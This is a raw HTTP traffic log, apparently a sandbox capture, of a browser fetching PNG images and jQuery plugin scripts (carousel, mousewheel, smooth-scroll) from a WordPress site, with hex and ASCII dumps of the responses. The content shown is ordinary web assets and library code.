                                                              Aug 16, 2022 10:33:26.228081942 CEST1633INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:24:27 GMT
                                                              Server: Apache
                                                              ETag: "a50de3-d0-5c93d38684b39"
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT
                                                              Content-Length: 208
                                                              Content-Type: image/png
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337797 14605268
                                                              Age: 538
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 05 00 00 00 03 08 06 00 00 00 5b 36 c5 f8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 28 49 44 41 54 08 99 5d c8 c1 0d 00 30 0c 83 40 a7 13 b3 89 47 a6 af 48 55 79 9d 98 b6 e6 eb 00 f3 0e 60 a2 46 4d 5b d7 17 94 fd 13 f2 5b d4 0b 67 00 00 00 00 49 45 4e 44 ae 42 60 82
                                                              Data Ascii: PNGIHDR[6sBIT|dpHYs~tEXtSoftwareAdobe Fireworks CS4tEXtCreation Time01/09/10(IDAT]0@GHUy`FM[[gIENDB`
                                                              Aug 16, 2022 10:33:26.232194901 CEST1633OUTGET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:26.469767094 CEST1702INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:41 GMT
                                                              Server: Apache
                                                              ETag: "a4f9ec-6fd-58592ebe62040"
                                                              Last-Modified: Tue, 02 Apr 2019 21:35:53 GMT
                                                              Content-Length: 1789
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337799 14880398
                                                              Age: 225
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 2f 2f 20 4f 57 4c 20 43 61 72 6f 75 73 65 6c 20 69 6e 69 74 2e 0a 09 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 3b 0a 0a 09 2f 2f 20 46 75 6c 6c 2d 77 69 64 74 68 20 62 6c 6f 63 6b 20 77 69 74 68 20 6c 65 66 74 2d 72 69 67 68 74 20 70 61 64 64 69 6e 67 73 2e 0a 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 72 65 73 69 7a 65 28 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 7d 29 3b 0a 0a 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2c 0a 09 09 09 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 2f 20 32 2c 0a 09 09 09 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 20 3e 20 2e 63 6f 6e 74 61 69 6e 65 72 27 29 2e 77 69 64 74 68 28 29 3b 0a 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 63 73 73 28 7b 27 70 61 64 64 69 6e 67 2d 6c 65 66 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 70 61 64 64 69 6e 67 2d 72 69 67 68 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 27 2d 27 2b 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 7d 0a 7d 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 20 7b 0a 09 6a 51 75 65 72 79 28 27 64 69 76 5b 69 64 5e 3d 22 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2d 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2c 0a 09 09 09 61 75 74 6f 5f 70 6c 61 79 20
                                                              Data Ascii: jQuery(document).ready(function(){// OWL Carousel init.cherryPluginCarouselInit();// Full-width block with left-right paddings.jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');jQuery(window).resize( function(){contenBoxResizeFunction();});contenBoxResizeFunction();function contenBoxResizeFunction(){var width_of_viewport = jQuery(window).width(),half_width_of_viewport = width_of_viewport / 2,width_of_container = jQuery('.content-holder > .container').width();jQuery('.content_box.full-width').width(width_of_container);jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});jQuery('.full-block-wrap').width(width_of_container);}});function cherryPluginCarouselInit() {jQuery('div[id^="owl-carousel-"]').each(function(){var carousel = jQuery(this),auto_play
                                                              Aug 16, 2022 10:33:26.654371977 CEST1705OUTGET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:26.894676924 CEST1917INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:42 GMT
                                                              Server: Apache
                                                              ETag: "a4f8b7-570-58592c72eb640"
                                                              Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                              Content-Length: 1392
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337801 12288874
                                                              Age: 224
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 42 72 61 6e 64 6f 6e 20 41 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 62 72 61 6e 64 6f 6e 61 61 72 6f 6e 2e 6e 65 74 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4c 49 43 45 4e 53 45 2e 74 78 74 29 2e 0a 20 2a 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 68 74 74 70 3a 2f 2f 61 64 6f 6d 61 73 2e 6f 72 67 2f 6a 61 76 61 73 63 72 69 70 74 2d 6d 6f 75 73 65 2d 77 68 65 65 6c 2f 20 66 6f 72 20 73 6f 6d 65 20 70 6f 69 6e 74 65 72 73 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 4d 61 74 68 69 61 73 20 42 61 6e 6b 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 74 68 69 61 73 2d 62 61 6e 6b 2e 64 65 29 20 66 6f 72 20 61 20 73 63 6f 70 65 20 62 75 67 20 66 69 78 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 53 65 61 6d 75 73 20 4c 65 61 68 79 20 66 6f 72 20 61 64 64 69 6e 67 20 64 65 6c 74 61 58 20 61 6e 64 20 64 65 6c 74 61 59 0a 20 2a 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 33 2e 30 2e 36 0a 20 2a 20 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 20 31 2e 32 2e 32 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 76 61 72 20 63 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 64 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 30 2c 66 3d 21 30 2c 67 3d 30 2c 68 3d 30 3b 72 65 74 75 72 6e 20 62 3d 61 2e 65 76 65 6e 74 2e 66 69 78 28 63 29 2c 62 2e 74 79 70 65 3d 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 26 26 28 65 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 2f 31 32 30 29 2c 63 2e 64 65 74 61 69 6c 26 26 28 65 3d 2d 63 2e 64 65 74 61 69 6c 2f 33 29 2c 68 3d 65 2c 63 2e 61 78 69 73 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 63 2e 61 78 69 73 3d 3d 3d 63 2e 48 4f 52 49 5a 4f 4e 54 41 4c 5f 41 58 49 53 26 26 28 68 3d 30 2c 67 3d 2d 31 2a 65 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 68 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 2f 31 32 30 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 67 3d 2d 31 2a 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 2f 31 32 30 29 2c 64 2e 75 6e 73 68 69 66 74 28 62 2c 65 2c 67 2c 68 29 2c 28 61 2e 65 76 65 6e 74 2e 64 69 73 70 61 74 63 68 7c 7c 61 2e 65 76 65 6e 74 2e 68 61 6e 64 6c 65 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 76 61 72 20 62 3d 5b 22 44 4f 4d 4d 6f 75 73 65 53 63 72 6f 6c 6c 22 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 5d 3b 69 66 28 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 29 66 6f 72 28 76 61 72 20 63 3d 62 2e 6c 65 6e 67 74 68 3b 63 3b 29 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 5b 62 5b 2d 2d 63 5d 5d 3d 61 2e 65 76 65 6e 74 2e 6d 6f 75 73 65 48 6f 6f 6b 73 3b 61 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 6d 6f 75 73 65 77 68 65 65 6c 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b
                                                              Data Ascii: /*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ */(function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){
                                                              Aug 16, 2022 10:33:26.899235964 CEST1918OUTGET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:27.137665033 CEST2343INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:45 GMT
                                                              Server: Apache
                                                              ETag: "a4f8bb-3b2-58592c72eb640"
                                                              Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                              Content-Length: 946
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13533986 24085755
                                                              Age: 221
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 20 6a 71 75 65 72 79 2e 73 69 6d 70 6c 72 2e 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 76 65 72 73 69 6f 6e 20 31 2e 30 20 63 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 69 6d 6f 76 2f 73 69 6d 70 6c 72 2d 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 2a 2f 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 20 20 20 20 20 20 20 20 24 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 65 70 3a 31 35 30 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 65 65 64 3a 38 30 30 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 70 6c 61 74 66 6f 72 6d 20 3d 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 3b 20 69 66 20 28 28 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 49 6e 74 65 6c 27 20 7c 7c 20 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 50 50 43 27 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 3b 20 76 61 72 20 6e 3d 65 2e 65 78 74 65 6e 64 28 7b 73 74 65 70 3a 31 37 30 2c 73 70 65 65 64 3a 31 30 30 30 2c 65 61 73 65 3a 22 73 77 69 6e 67 22 7d 2c 74 7c 7c 7b 7d 29 3b 76 61 72 20 72 3d 65 28 77 69 6e 64 6f 77 29 2c 69 3d 65 28 64 6f 63 75 6d 65 6e 74 29 2c 73 3d 30 2c 6f 3d 6e 2e 73 74 65 70 2c 75 3d 6e 2e 73 70 65 65 64 2c 61 3d 72 2e 68 65 69 67 68 74 28 29 2c 66 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 41 70 70 6c 65 57 65 62 4b 69 74 22 29 21 3d 3d 2d 31 3f 65 28 22 62 6f 64 79 22 29 3a 65 28 22 68 74 6d 6c 22 29 2c 6c 3d 66 61 6c 73 65 3b 65 28 22 62 6f 64 79 22 29 2e 6d 6f 75 73 65 77 68 65 65 6c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 3d 74 72 75 65 3b 69 66 28 74 3c 30 29 73 3d 73 2b 61 3e 3d 69 2e 68 65 69 67 68 74 28 29 3f 73 3a 73 2b 3d 6f 3b 65 6c 73 65 20 73 3d 73 3c 3d 30 3f 30 3a 73 2d 3d 6f 3b 66 2e 73 74 6f 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 73 63 72 6f 6c 6c 54 6f 70 3a 73 7d 2c 75 2c 6e 2e 65 61 73 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 3d 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 29 3b 72 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 72 2e 68 65 69 67 68 74 28 29 7d 29 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 29 73 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 7d 29 7d 7d 29 28 6a 51 75 65 72 79 29 3b 0a
                                                              Data Ascii: /* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */jQuery(document).ready(function($) { if(!device.mobile() && !device.tablet()){ $.srSmoothscroll({ step:150, speed:800 }); }});;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' || platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t||{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);
                                                              Aug 16, 2022 10:33:27.153400898 CEST2343OUTGET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:27.393824100 CEST2390INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:24:35 GMT
                                                              Server: Apache
                                                              ETag: "a530bd-55a-58592d41dde80"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:14 GMT
                                                              Content-Length: 1370
                                                              Content-Type: image/png
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13533988 13994187
                                                              Age: 531
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1f 00 00 00 13 08 06 00 00 00 68 6c d6 42 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 b5 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 52 69 67 68 74 73 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 72 69 67 68 74 73 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 52 69 67 68 74 73 3a 4d 61 72 6b 65 64 3d 22 46 61 6c 73 65 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 36 34 37 30 31 37 46 45 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 34 37 30 31 37 46 44 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 32 36 35 30 38 39 42 33 46 32 46 45 32 31 31 41 43 37 43 44 38 37 38 36 31 45 35 36 43 37 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66
                                                              Data Ascii: PNGIHDRhlBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf
                                                              Aug 16, 2022 10:33:27.397084951 CEST2391OUTGET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:27.636327028 CEST2411INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:47 GMT
                                                              Server: Apache
                                                              ETag: "a4f8b3-ada-58592c72eb640"
                                                              Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                              Content-Length: 2778
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13533990 18313154
